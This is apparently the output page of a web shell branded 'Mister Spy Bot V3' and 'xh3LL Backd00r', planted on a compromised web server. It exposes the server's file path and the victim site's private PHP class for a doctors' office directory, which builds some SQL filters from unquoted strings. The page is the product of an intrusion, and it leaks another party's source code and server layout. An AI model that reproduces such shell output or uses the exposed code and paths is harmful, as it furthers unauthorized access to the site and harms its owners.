Mister Spy Say ="Hello Kids ... :D" ___ ____ _ _____ | \/ (_) | | / ___| | . . |_ ___| |_ ___ _ __ \ `--. _ __ _ _ | |\/| | / __| __/ _ \ '__| `--. \ '_ \| | | | | | | | \__ \ || __/ | /\__/ / |_) | |_| | \_| |_/_|___/\__\___|_| \____/| .__/ \__, | | | __/ | |_| |___/ Bot Mister Spy V3
Mister Spy

Mister Spy

Current Path : /home/caballoscriollos/public_html/web/library/
Upload File :
Current File : /home/caballoscriollos/public_html/web/library/class.medicosconsultorios.php

<?php

require_once('class.db.php');
require_once('class.dbaccess.php');
require_once('class.medicoconsultorio.php');
require_once('class.filter.php');
require_once('class.page.php');
require_once('class.paises.php');
require_once('class.misc.php');


class MedicosConsultorios extends DBAccess implements IFilterable
{
	public function ParseFilter(array $filter)
	{
		$sql = '';
		
		if ($filter['Email'] != "")
		{	
			$sql.= " AND (u.Email RLIKE '" . DB::StringUnquoted($filter['Email']) . "'";
			$sql.= " OR u.Email IS NULL)";
		}
		if ($filter['IdPais'] != "")
		{	
			$sql.= " AND u.IdPais = " . DB::Number($filter['IdPais']);
		}
		if ($filter['IdProvincia'] != "")
		{	
			$sql.= " AND u.IdProvincia = " . DB::Number($filter['IdProvincia']);
		}
		if ($filter['IdLocalidad'] != "")
		{	
			$sql.= " AND u.IdLocalidad = " . DB::Number($filter['IdLocalidad']);
		}
		
		if ($filter['Institucion'] != "")
		{	
			$sql.= " AND (u.Institucion RLIKE '" . DB::StringUnquoted($filter['Institucion']) . "'";
			$sql.= " OR u.Institucion IS NULL)";
		}
		
		if (isset($filter['IdMedico']) && $filter['IdMedico'] != '')
		{	
			$sql.= " AND u.IdMedico = " . DB::Number($filter['IdMedico']);
		}
		
		if (isset($filter['IdEspecialidad']) && $filter['IdEspecialidad'] != '')
		{	
			$sql.= " AND m.IdMedico = " . DB::Number($filter['IdEspecialidad']);
		}
		
		return $sql;
	}	
	

	public function GetPagesCount(Page $oPage, $filter = false)
	{	
		$CountRows = $this->GetCountRows($filter);
		$Count = $CountRows / DB::Number($oPage->Size);
		
		$Count = ceil($Count);
		
		return $Count;
	}
		
		
	public function GetAll(array $filter = NULL, Page $oPage = NULL)
	{
		if (!$oRes = $this->GetAllContent($filter, $oPage))
			return false;
			
		$arr = array();

		while ($oRow = $oRes->GetRow())	
		{	
			$oMedicoConsultorio = new MedicoConsultorio();
			$oMedicoConsultorio->ParseFromArray($oRow);
			
			array_push($arr, $oMedicoConsultorio);
			
			$oRes->MoveNext();
		}	
		
		return $arr;		
	}
	
		
		
	public function GetAllContent(array $filter = NULL, Page $oPage = NULL)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblMedicosConsultorios u";
		$sql.= " INNER JOIN tblMedicos m ON m.IdMedico = u.IdMedico";
		$sql.= " INNER JOIN tblProvincias p ON p.IdProvincia = u.IdProvincia";
		$sql.= " INNER JOIN tblLocalidades l ON l.IdLocalidad = u.IdLocalidad";
		$sql.= " WHERE u.IdEstado = 1";

		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);

		$sql.= " GROUP BY u.IdConsultorio";
		$sql.= " ORDER BY p.Nombre, l.Nombre";

		if ($oPage != NULL)
			$sql.= " " . Pageable::ParsePage($oPage);
		
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		return $oRes;		
	}
	
	
	public function GetById($IdConsultorio)
	{
		$sql = "SELECT u.*";
		$sql.= " FROM tblMedicosConsultorios u";
		$sql.= " WHERE u.IdConsultorio = " . DB::Number($IdConsultorio);	
			
		if ( !($oRes = $this->GetQuery($sql)) )
			return false;
			
		if ( !($oRow = $oRes->GetRow()) )
			return false;
		
		$oMedicoConsultorio = new MedicoConsultorio();
		$oMedicoConsultorio->ParseFromArray($oRow);
		
		return $oMedicoConsultorio;		
	}
	
	
	public function GetCountRows(array $filter = NULL)
	{
		$sql = " SELECT u.*";
		$sql.= " FROM tblMedicosConsultorios u";
		$sql.= " INNER JOIN tblMedicos m ON m.IdMedico = u.IdMedico";
		$sql.= " WHERE 1";

		if ($filter)
			$sql.= " " . $this->ParseFilter($filter);

		$sql.= " GROUP BY u.IdConsultorio";
		$sql.= " ORDER BY u.Institucion";

		if (!($oRes = $this->GetQuery($sql)))
			return false;
		
		$CountRows = $oRes->NumRows();
		
		return $CountRows;
	}
	
	private function GetArrayDB(MedicoConsultorio $oMedicoConsultorio)
	{
	
		$arr = array
		(
			'IdMedico'					=> DB::Number($oMedicoConsultorio->IdMedico),
			'Institucion'				=> DB::String($oMedicoConsultorio->Institucion),
			'Telefono'					=> DB::String($oMedicoConsultorio->Telefono),
			'Email'						=> DB::String($oMedicoConsultorio->Email),
			'Domicilio'					=> DB::String($oMedicoConsultorio->Domicilio),
			'IdPais'					=> DB::Number($oMedicoConsultorio->IdPais),
			'IdProvincia'				=> DB::Number($oMedicoConsultorio->IdProvincia),
			'IdLocalidad'				=> DB::Number($oMedicoConsultorio->IdLocalidad),
			'CodigoPostal'				=> DB::String($oMedicoConsultorio->CodigoPostal),
			'PaginaWeb'					=> DB::String($oMedicoConsultorio->PaginaWeb),
			'IdEstado'					=> DB::Number($oMedicoConsultorio->IdEstado),
			'Lat'						=> DB::String($oMedicoConsultorio->Lat),
			'Lng'						=> DB::String($oMedicoConsultorio->Lng)
		);
		
		return $arr;
	}
	
	public function Create(MedicoConsultorio $oMedicoConsultorio)
	{
		/* inicia una transaccion */
		if (!DBAccess::$db->Begin())
			return false;
	
		$arr = $this->GetArrayDB($oMedicoConsultorio);

		if (!DBAccess::Insert('tblMedicosConsultorios', $arr))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			

		$oMedicoConsultorio->IdConsultorio = DBAccess::GetLastInsertId();

		/* finaliza la transaccion */
		DBAccess::$db->Commit();
			
		return $oMedicoConsultorio;
	}
	
	
	public function Update(MedicoConsultorio $oMedicoConsultorio)
	{
		/* inicia una transaccion */
		if (!DBAccess::$db->Begin())
			return false;

		$arr = $this->GetArrayDB($oMedicoConsultorio);
		
		$where = " IdConsultorio = " . (int)$oMedicoConsultorio->IdConsultorio;

		if (!DBAccess::UpdateEntidad('tblMedicosConsultorios', $arr, $where))
		{
			DBAccess::$db->Rollback();	
			return false;
		}			
		
		/* finaliza la transaccion */
		DBAccess::$db->Commit();
				
		return $oMedicoConsultorio;
	}
	
	
	public function Delete($IdConsultorio)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdConsultorio = " . DB::Number($IdConsultorio);
		
		if (!DBAccess::DeleteEntidad('tblMedicosConsultorios', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}		

		DBAccess::$db->Commit();
		
		return true;	
	}	
	
	
	public function DeleteByIdMedico($IdMedico)
	{
		if (!DBAccess::$db->Begin())
			return false;
			
		$where = " IdMedico = " . DB::Number($IdMedico);
		
		if (!DBAccess::DeleteEntidad('tblMedicosConsultorios', $where))
		{
				DBAccess::$db->Rollback();	
				return false;
		}		

		DBAccess::$db->Commit();
		
		return true;	
	}	
}

?>

Mr. DellatioNx196 GaLers xh3LL Backd00r 1.0, Coded By Mr. DellatioNx196 - Bogor BlackHat